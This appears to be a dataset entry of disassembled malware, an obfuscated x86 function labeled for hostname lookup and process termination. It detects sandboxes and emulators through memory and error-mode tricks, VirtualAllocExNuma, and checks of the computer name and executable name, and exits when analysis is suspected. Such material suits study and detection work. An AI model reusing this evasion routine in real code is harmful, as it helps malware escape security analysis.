Function at 0x1b82885
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov esi, esi
pushfd
inc esi
dec esi
popfd
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
xchg ecx, ebx
xchg ebx, ecx
test eax, eax
push edx
push ebx
pop ebx
pop edx
je 0x1b8356a
push edx
pop edx
nop
mov dword [ebp - 0x41c], eax
push esi
push eax
pop eax
pop esi
pushfd
inc eax
dec eax
popfd
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
pushfd
push eax
add esp, 4
popfd
xchg esi, esi
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
push eax
pop eax
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
inc eax
dec eax
popfd
push edi
pop edi
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
inc esi
dec esi
popfd
xchg ecx, ecx
cmp eax, 0x400
push eax
pop eax
jne 0x1b8356a
pushfd
inc ecx
dec ecx
popfd
mov ecx, ecx
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
pushfd
push 0x175441a5
add esp, 4
popfd
test eax, eax
mov esi, esi
je 0x1b8356a
push eax
pop eax
mov dword [ebp - 0x20e], 0x104
pushfd
inc esi
dec esi
popfd
lea eax, [ebp - 0x313]
push edx
push ebx
pop ebx
pop edx
xchg edx, edx
lea ebx, [ebp - 0x20e]
pushfd
push 0x2005f888
add esp, 4
popfd
pushfd
xor esi, 0x32594c30
xor esi, 0x32594c30
popfd
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
push edx
pop edx
push edi
pop edi
test eax, eax
push edi
pop edi
xchg ebx, ebx
je 0x1b82cb3
push edx
push eax
pop eax
pop edx
lea eax, [ebp - 0x418]
xchg ecx, edx
xchg edx, ecx
mov eax, eax
mov ebx, 0x61
mov eax, eax
sub bl, 0x13
xchg esi, edi
xchg edi, esi
xchg ecx, eax
xchg ecx, eax
mov byte [eax], bl
pushfd
inc edx
dec edx
popfd
mov edi, edi
add bl, 0x18
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 1], bl
xchg esi, esi
push edx
pop edx
sub bl, 0xc
push eax
pop eax
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 2], bl
pushfd
push ecx
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
add bl, 0x1a
pushfd
push esi
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
mov byte [eax + 3], bl
xchg ebx, ebx
sub bl, 0x2e
mov ebx, ebx
pushfd
push 0xa1efae2a
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
inc ecx
dec ecx
popfd
add bl, 0x1c
push ebx
push edx
pop edx
pop ebx
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 5], bl
xchg edi, ecx
xchg ecx, edi
sub bl, 0x12
pushfd
push 0xbd82aabc
add esp, 4
popfd
mov byte [eax + 6], bl
pushfd
push 0xf314bdfe
add esp, 4
popfd
push ebx
push edx
pop edx
pop ebx
add bl, 0x16
pushfd
push esi
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 7], bl
mov edx, edx
sub bl, 0x1e
pushfd
push 0xe2ea77e6
add esp, 4
popfd
mov byte [eax + 8], bl
push ecx
push esi
pop esi
pop ecx
mov byte [eax + 9], 0
mov esi, esi
xchg ecx, edx
xchg edx, ecx
lea ebx, [ebp - 0x313]
pushfd
push 0x2a5ed17f
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc edi
dec edi
popfd
test eax, eax
pushfd
xor ecx, 0xe6324da
xor ecx, 0xe6324da
popfd
je 0x1b8356a
pushfd
xor edi, 0x61f49591
xor edi, 0x61f49591
popfd
lea eax, [ebp - 0x418]
pushfd
inc edx
dec edx
popfd
mov ebx, 0x61
pushfd
xor eax, 0x818a90a7
xor eax, 0x818a90a7
popfd
sub bl, 0x1c
mov edx, edx
push ebx
push edx
pop edx
pop ebx
mov byte [eax], bl
xchg ebx, ecx
xchg ecx, ebx
pushfd
push edi
add esp, 4
popfd
add bl, 7
mov ecx, ecx
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 1], bl
xchg edx, edx
sub bl, 3
push edx
push esi
pop esi
pop edx
xchg edx, edx
mov byte [eax + 2], bl
pushfd
inc ebx
dec ebx
popfd
push edi
pop edi
sub bl, 6
push ebx
pop ebx
mov byte [eax + 3], bl
mov ebx, ebx
push ebx
pop ebx
add bl, 0x17
xchg ebx, edi
xchg edi, ebx
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 4], bl
mov ecx, ecx
mov byte [eax + 5], 0
pushfd
push edx
add esp, 4
popfd
xchg ebx, ebx
lea ebx, [ebp - 0x313]
pushfd
xor edi, 0x8c07a596
xor edi, 0x8c07a596
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc ecx
dec ecx
popfd
test eax, eax
xchg esi, eax
xchg esi, eax
xchg ebx, eax
xchg ebx, eax
je 0x1b8356a
pushfd
inc ebx
dec ebx
popfd
push eax
pop eax
lea eax, [ebp - 0x418]
xchg edi, eax
xchg edi, eax
mov ebx, 0x61
pushfd
xor edx, 0xde8977c0
xor edx, 0xde8977c0
popfd
add bl, 0x13
push eax
pop eax
mov byte [eax], bl
mov edx, edx
mov edx, edx
add bl, 6
pushfd
push edi
add esp, 4
popfd
push esi
pop esi
mov byte [eax + 1], bl
pushfd
push 0x62e9c9a9
add esp, 4
popfd
mov byte [eax + 2], 0
pushfd
push 0x3ef08f05
add esp, 4
popfd
lea ebx, [ebp - 0x313]
xchg esi, esi
push edx
push ebx
pop ebx
pop edx
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
push 0x204fc437
add esp, 4
popfd
test eax, eax
pushfd
push 0x3abe7a78
add esp, 4
popfd
pushfd
push edi
add esp, 4
popfd
je 0x1b8356a
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 0x418]
pushfd
inc esi
dec esi
popfd
mov ebx, 0x61
pushfd
push 0x55abb6b0
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x14
mov ecx, ecx
mov byte [eax], bl
pushfd
push 0xa93e66ca
add esp, 4
popfd
sub bl, 0xc
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 1], bl
xchg edi, ebx
xchg ebx, edi
add bl, 8
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 2], bl
push eax
push ecx
pop ecx
pop eax
xchg edi, edx
xchg edx, edi
add bl, 5
push ebx
push ecx
pop ecx
pop ebx
mov byte [eax + 3], bl
pushfd
push 0x20a29dfb
add esp, 4
popfd
xchg ecx, ecx
mov byte [eax + 4], 0
xchg ecx, eax
xchg ecx, eax
pushfd
push 0xb7466218
add esp, 4
popfd
lea ebx, [ebp - 0x313]
push edx
push ecx
pop ecx
pop edx
pushfd
xor edx, 0xc9242b6b
xor edx, 0xc9242b6b
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
xchg edi, edi
test eax, eax
nop
xchg esi, ebx
xchg ebx, esi
je 0x1b8356a
mov eax, eax
pushfd
push 0xfa93128b
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
push ecx
pop ecx
lea eax, [ebp - 0x20a]
pushfd
xor esi, 0x8bb684d
xor esi, 0x8bb684d
popfd
push edx
pop edx
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
xchg edi, edi
cmp eax, 0
pushfd
inc ecx
dec ecx
popfd
pushfd
xor edx, 0x5f831903
xor edx, 0x5f831903
popfd
jle 0x1b8355a
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 0x20a]
push edx
push edi
pop edi
pop edx
pushfd
inc esi
dec esi
popfd
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
xchg esi, ebx
xchg ebx, esi
xchg edi, edi
lea ebx, [ebp - 0x105]
pushfd
xor ecx, 0x1b223e41
xor ecx, 0x1b223e41
popfd
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
nop
pushfd
push edi
add esp, 4
popfd
lea eax, [ebp - 0x418]
xchg ecx, edx
xchg edx, ecx
mov ebx, 0x61
pushfd
inc edx
dec edx
popfd
xchg edx, eax
xchg edx, eax
sub bl, 0x1e
pushfd
push eax
add esp, 4
popfd
pushfd
xor eax, 0xcdd77ab8
xor eax, 0xcdd77ab8
popfd
mov byte [eax], bl
push edi
push ecx
pop ecx
pop edi
pushfd
xor ebx, 0x975bf11b
xor ebx, 0x975bf11b
popfd
sub bl, 9
push ebx
pop ebx
mov byte [eax + 1], bl
push ebx
push eax
pop eax
pop ebx
push edx
push edi
pop edi
pop edx
add bl, 0x22
pushfd
push 0x975e9daf
add esp, 4
popfd
mov byte [eax + 2], bl
push esi
push edi
pop edi
pop esi
xchg ecx, ecx
sub bl, 0x18
pushfd
xor ecx, 0x8c0b2b10
xor ecx, 0x8c0b2b10
popfd
pushfd
xor esi, 0x3f19593d
xor esi, 0x3f19593d
popfd
mov byte [eax + 3], bl
push esi
pop esi
push edi
pop edi
add bl, 0x2b
pushfd
xor ecx, 0xa4802f13
xor ecx, 0xa4802f13
popfd
pushfd
xor ebx, 0xa22debb3
xor ebx, 0xa22debb3
popfd
mov byte [eax + 4], bl
push edx
pop edx
xchg ebx, edx
xchg edx, ebx
sub bl, 0xc
pushfd
xor esi, 0xb80bf75
xor esi, 0xb80bf75
popfd
mov byte [eax + 5], bl
push edi
pop edi
pushfd
xor ebx, 0x828c0503
xor ebx, 0x828c0503
popfd
add bl, 0x12
xchg edi, eax
xchg edi, eax
xchg edi, ebx
xchg ebx, edi
mov byte [eax + 6], bl
xchg edi, edi
sub bl, 8
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 7], bl
pushfd
xor ecx, 0x2c86cda9
xor ecx, 0x2c86cda9
popfd
sub bl, 8
xchg edi, edi
mov byte [eax + 8], bl
pushfd
xor ebx, 0xdda9dd2
xor ebx, 0xdda9dd2
popfd
mov ebx, ebx
add bl, 9
xchg edx, eax
xchg edx, eax
xchg esi, ecx
xchg ecx, esi
mov byte [eax + 9], bl
push edi
push eax
pop eax
pop edi
add bl, 6
mov ecx, ecx
push eax
pop eax
mov byte [eax + 0xa], bl
push esi
pop esi
dec bl
xchg ecx, edi
xchg edi, ecx
mov byte [eax + 0xb], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x53
xchg ecx, esi
xchg esi, ecx
push edi
pop edi
mov byte [eax + 0xc], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 0x41
push ebx
push ecx
pop ecx
pop ebx
xchg edi, edi
mov byte [eax + 0xd], bl
pushfd
xor edi, 0x80c2b165
xor edi, 0x80c2b165
popfd
xchg edx, eax
xchg edx, eax
add bl, 0xd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0xe], bl
mov edi, edi
sub bl, 0xa
xchg edx, ecx
xchg ecx, edx
pushfd
push 0x8943c2f0
add esp, 4
popfd
mov byte [eax + 0xf], bl
mov eax, eax
pushfd
push edi
add esp, 4
popfd
sub bl, 0x44
xchg esi, esi
pushfd
xor ebx, 0x2e1d7d0d
xor ebx, 0x2e1d7d0d
popfd
mov byte [eax + 0x10], bl
pushfd
push edi
add esp, 4
popfd
pushfd
push esi
add esp, 4
popfd
add bl, 0x33
mov eax, eax
mov byte [eax + 0x11], bl
push ebx
pop ebx
xchg ecx, edi
xchg edi, ecx
add bl, 0x12
xchg edi, ebx
xchg ebx, edi
xchg edi, edi
mov byte [eax + 0x12], bl
xchg ebx, ebx
add bl, 0xf
xchg esi, ebx
xchg ebx, esi
mov byte [eax + 0x13], bl
pushfd
xor ebx, 0xf2e5c37a
xor ebx, 0xf2e5c37a
popfd
push ecx
pop ecx
mov byte [eax + 0x14], bl
pushfd
inc esi
dec esi
popfd
mov ebx, ebx
sub bl, 0xb
pushfd
push edi
add esp, 4
popfd
xchg edx, eax
xchg edx, eax
mov byte [eax + 0x15], bl
pushfd
push edx
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
add bl, 5
push eax
pop eax
mov byte [eax + 0x16], bl
pushfd
xor edx, 0xc324ac7
xor edx, 0xc324ac7
popfd
sub bl, 7
pushfd
push 0x4b4a9def
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 0x17], bl
pushfd
push edx
add esp, 4
popfd
add bl, 0xc
pushfd
inc ebx
dec ebx
popfd
push edi
pop edi
mov byte [eax + 0x18], bl
pushfd
inc esi
dec esi
popfd
sub bl, 0x17
xchg ebx, ebx
mov byte [eax + 0x19], bl
pushfd
xor ebx, 0xfbe6d38
xor ebx, 0xfbe6d38
popfd
pushfd
inc edx
dec edx
popfd
sub bl, 0x1b
push ebx
push edi
pop edi
pop ebx
mov byte [eax + 0x1a], bl
xchg edx, eax
xchg edx, eax
add bl, 0x23
pushfd
push eax
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 0x1b], bl
pushfd
xor esi, 0xa362205a
xor esi, 0xa362205a
popfd
add bl, 9
xchg ecx, ecx
mov byte [eax + 0x1c], bl
pushfd
push 0x6c3f8378
add esp, 4
popfd
sub bl, 4
xchg ebx, ebx
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 0x1d], bl
nop
add bl, 5
xchg edi, edx
xchg edx, edi
push ecx
pop ecx
mov byte [eax + 0x1e], bl
xchg esi, eax
xchg esi, eax
xchg edx, edx
sub bl, 5
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0x1f], bl
push edx
pop edx
add bl, 0xa
pushfd
xor ecx, 0xd8ca3f1
xor ecx, 0xd8ca3f1
popfd
mov byte [eax + 0x20], bl
pushfd
inc edi
dec edi
popfd
inc bl
xchg edx, ecx
xchg ecx, edx
mov byte [eax + 0x21], bl
push eax
pop eax
push esi
push ecx
pop ecx
pop esi
sub bl, 2
mov ebx, ebx
push eax
push ecx
pop ecx
pop eax
mov byte [eax + 0x22], bl
pushfd
inc edx
dec edx
popfd
pushfd
push 0x28e91b1e
add esp, 4
popfd
sub bl, 0x11
mov esi, esi
mov byte [eax + 0x23], bl
pushfd
push 0xadfdece0
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
add bl, 0x13
pushfd
inc edx
dec edx
popfd
pushfd
xor edx, 0xcd413841
xor edx, 0xcd413841
popfd
mov byte [eax + 0x24], bl
pushfd
inc edi
dec edi
popfd
pushfd
xor esi, 0x195c5d2d
xor esi, 0x195c5d2d
popfd
sub bl, 5
push edi
pop edi
mov byte [eax + 0x25], bl
pushfd
inc ecx
dec ecx
popfd
pushfd
push edi
add esp, 4
popfd
add bl, 3
xchg edi, edi
mov byte [eax + 0x26], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0x16
pushfd
push 0xaa07db0b
add esp, 4
popfd
pushfd
push 0xcae217a3
add esp, 4
popfd
mov byte [eax + 0x27], bl
pushfd
inc edi
dec edi
popfd
xchg ecx, ecx
sub bl, 0xf
pushfd
inc edx
dec edx
popfd
mov ecx, ecx
mov byte [eax + 0x28], bl
pushfd
push 0x6604a2c
add esp, 4
popfd
pushfd
inc eax
dec eax
popfd
add bl, 0x2c
pushfd
xor edi, 0x8a8bbd19
xor edi, 0x8a8bbd19
popfd
mov ebx, ebx
mov byte [eax + 0x29], bl
push esi
pop esi
pushfd
xor edx, 0xf085defc
xor edx, 0xf085defc
popfd
sub bl, 0x59
pushfd
push 0xa7d265da
add esp, 4
popfd
mov eax, eax
mov byte [eax + 0x2a], bl
pushfd
inc edx
dec edx
popfd
pushfd
xor edi, 0x7e566c51
xor edi, 0x7e566c51
popfd
add bl, 0x24
pushfd
inc ecx
dec ecx
popfd
xchg edi, eax
xchg edi, eax
mov byte [eax + 0x2b], bl
xchg ecx, ecx
add bl, 0x2b
xchg esi, esi
mov byte [eax + 0x2c], bl
pushfd
push 0xf985134e
add esp, 4
popfd
mov esi, esi
sub bl, 0xc
push esi
pop esi
mov byte [eax + 0x2d], bl
xchg esi, esi
pushfd
push esi
add esp, 4
popfd
add bl, 0x12
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0x2e], bl
xchg edx, edx
push ecx
pop ecx
sub bl, 8
xchg ecx, edx
xchg edx, ecx
push esi
pop esi
mov byte [eax + 0x2f], bl
xchg edi, ecx
xchg ecx, edi
sub bl, 8
xchg edi, edi
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 0x30], bl
pushfd
push 0xb5967f1b
add esp, 4
popfd
add bl, 9
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 0x31], bl
pushfd
xor edx, 0xd355041f
xor edx, 0xd355041f
popfd
add bl, 6
push ebx
push ecx
pop ecx
pop ebx
mov edx, edx
mov byte [eax + 0x32], bl
pushfd
push 0x78150cdc
add esp, 4
popfd
dec bl
xchg ecx, ecx
mov byte [eax + 0x33], bl
pushfd
push ebx
add esp, 4
popfd
pushfd
xor ecx, 0xc246c67f
xor ecx, 0xc246c67f
popfd
sub bl, 0x17
xchg edx, edx
mov byte [eax + 0x34], bl
pushfd
inc eax
dec eax
popfd
add bl, 0x11
pushfd
inc edi
dec edi
popfd
mov ebx, ebx
mov byte [eax + 0x35], bl
pushfd
inc ebx
dec ebx
popfd
push edi
push edx
pop edx
pop edi
add bl, 0xa
nop
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x36], bl
xchg esi, eax
xchg esi, eax
sub bl, 4
push edx
pop edx
mov byte [eax + 0x37], bl
xchg edx, ebx
xchg ebx, edx
sub bl, 6
push eax
push edi
pop edi
pop eax
mov byte [eax + 0x38], bl
xchg ebx, ebx
add bl, 3
push eax
pop eax
pushfd
push 0x909ae29f
add esp, 4
popfd
mov byte [eax + 0x39], bl
mov edi, edi
push ebx
push edi
pop edi
pop ebx
sub bl, 4
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 0x3a], bl
mov ecx, ecx
sub bl, 0x3e
pushfd
xor ebx, 0x1993ba44
xor ebx, 0x1993ba44
popfd
mov byte [eax + 0x3b], bl
nop
pushfd
inc esi
dec esi
popfd
add bl, 0x37
pushfd
xor ebx, 0x40059383
xor ebx, 0x40059383
popfd
mov ebx, ebx
mov byte [eax + 0x3c], bl
pushfd
push ebx
add esp, 4
popfd
xchg edi, eax
xchg edi, eax
add bl, 0x13
xchg ebx, eax
xchg ebx, eax
push edi
pop edi
mov byte [eax + 0x3d], bl
pushfd
push 0x31d6257f
add esp, 4
popfd
sub bl, 0x13
mov eax, eax
xchg edx, edx
mov byte [eax + 0x3e], bl
pushfd
inc eax
dec eax
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0x3f], 0
push ecx
push edi
pop edi
pop ecx
lea ebx, [ebp - 0x20a]
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x4d5dcb79
add esp, 4
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
mov eax, eax
pushfd
push 0xe01a5a02
add esp, 4
popfd
test eax, eax
pushfd
push 0xfba1b1ba
add esp, 4
popfd
je 0x1b8356a
pushfd
push 0xf16f986b
add esp, 4
popfd
lea eax, [ebp - 0x418]
nop
mov ebx, 0x61
push ebx
pop ebx
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x1e
pushfd
push 0x897b060f
add esp, 4
popfd
pushfd
xor eax, 0xe776b7d9
xor eax, 0xe776b7d9
popfd
mov byte [eax], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 9
pushfd
push edi
add esp, 4
popfd
xchg esi, esi
mov byte [eax + 1], bl
pushfd
push 0x172c2a75
add esp, 4
popfd
add bl, 0x22
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 2], bl
push eax
push edi
pop edi
pop eax
xchg edi, eax
xchg edi, eax
sub bl, 9
pushfd
push ecx
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0xe
pushfd
push 0x65bafa0
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 4], bl
mov edx, edx
add bl, 7
mov edx, edx
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 5], bl
pushfd
inc ecx
dec ecx
popfd
sub bl, 6
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 6], bl
push ecx
push esi
pop esi
pop ecx
pushfd
push 0x6e9414ad
add esp, 4
popfd
sub bl, 0x18
xchg edx, eax
xchg edx, eax
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 7], bl
pushfd
inc esi
dec esi
popfd
add bl, 0x17
pushfd
xor eax, 0x136553af
xor eax, 0x136553af
popfd
mov byte [eax + 8], bl
push ecx
pop ecx
pushfd
push eax
add esp, 4
popfd
add bl, 0x13
xchg ecx, esi
xchg esi, ecx
xchg edx, esi
xchg esi, edx
mov byte [eax + 9], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x13
nop
mov byte [eax + 0xa], bl
pushfd
inc edx
dec edx
popfd
mov byte [eax + 0xb], 0
xchg ebx, ebx
xchg ebx, esi
xchg esi, ebx
lea ebx, [ebp - 0x20a]
push edi
push ecx
pop ecx
pop edi
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
xchg edi, esi
xchg esi, edi
push ebx
pop ebx
test eax, eax
pushfd
push 0xcef3713e
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
je 0x1b8356a
pushfd
push 0x15574357
add esp, 4
popfd
push ebx
push edi
pop edi
pop ebx
lea eax, [ebp - 0x418]
mov edi, edi
mov eax, eax
mov ebx, 0x61
mov edi, edi
pushfd
inc eax
dec eax
popfd
add bl, 0xc
pushfd
push 0x4e8523e5
add esp, 4
popfd
mov byte [eax], bl
pushfd
xor edi, 0x4b8a5635
xor edi, 0x4b8a5635
popfd
nop
add bl, 0xc
mov ecx, ecx
mov byte [eax + 1], bl
mov ebx, ebx
pushfd
inc esi
dec esi
popfd
sub bl, 0x18
push ebx
pop ebx
mov byte [eax + 2], bl
pushfd
push 0x4ba90a6e
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
add bl, 0xf
pushfd
push ebx
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 3], bl
pushfd
inc eax
dec eax
popfd
mov byte [eax + 4], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0x42
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 5], bl
pushfd
push ebx
add esp, 4
popfd
add bl, 0x37
pushfd
push 0xd315aeea
add esp, 4
popfd
mov byte [eax + 6], bl
push edx
pop edx
xchg ecx, ecx
add bl, 0x13
pushfd
xor esi, 0xd9a2b371
xor esi, 0xd9a2b371
popfd
mov byte [eax + 7], bl
push eax
push ebx
pop ebx
pop eax
push esi
push eax
pop eax
pop esi
sub bl, 0x13
pushfd
push 0x66b89cf3
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 9], 0
pushfd
xor eax, 0xd3d936d9
xor eax, 0xd3d936d9
popfd
pushfd
push esi
add esp, 4
popfd
lea ebx, [ebp - 0x105]
pushfd
inc ecx
dec ecx
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll__strcmpi]
add esp, 8
mov ebx, ebx
test eax, eax
pushfd
push ecx
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
je 0x1b8356a
xchg esi, esi
push edx
pop edx
push esi
push ebx
pop ebx
pop esi
push ecx
push edi
pop edi
pop ecx
xor eax, eax
push esi
push eax
pop eax
pop esi
leave
ret
push ecx
pop ecx
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]